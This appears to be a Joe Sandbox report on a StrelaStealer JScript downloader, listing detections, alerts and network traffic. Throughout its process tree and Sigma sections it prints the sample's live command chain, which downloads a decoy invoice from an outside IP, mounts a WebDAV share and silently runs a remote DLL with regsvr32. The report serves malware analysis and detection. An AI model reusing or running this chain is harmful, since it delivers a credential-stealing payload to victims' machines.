Edit tour

Windows Analysis Report
5197307041739714413.js

Overview

General Information

Sample name:	5197307041739714413.js
Analysis ID:	1588329
MD5:	7fd4ca4698893ba82446f2c5c0059caf
SHA1:	6fc224cc177cfea45ec1897adbf01873d255601a
SHA256:	425c1247bf5714ebaf87c145c012353e42ca40f113ac43fb72068a94145fb8f9
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5480 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2344 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3764 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3688 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4620 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3148 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1640,i,5951722315745381644,10775437152461943238,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5872 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6188 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5040 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5480	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3764, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3764, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", ProcessId: 5480, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6188, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, ProcessId: 2344, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", ProcessId: 5480, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3764, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5872, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6188, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5040, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5872, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6188, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll, ProcessId: 2344, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:06:29.428990+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:06:31.892862+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:06:29.428990+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 5197307041739714413.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 5197307041739714413.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:06:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

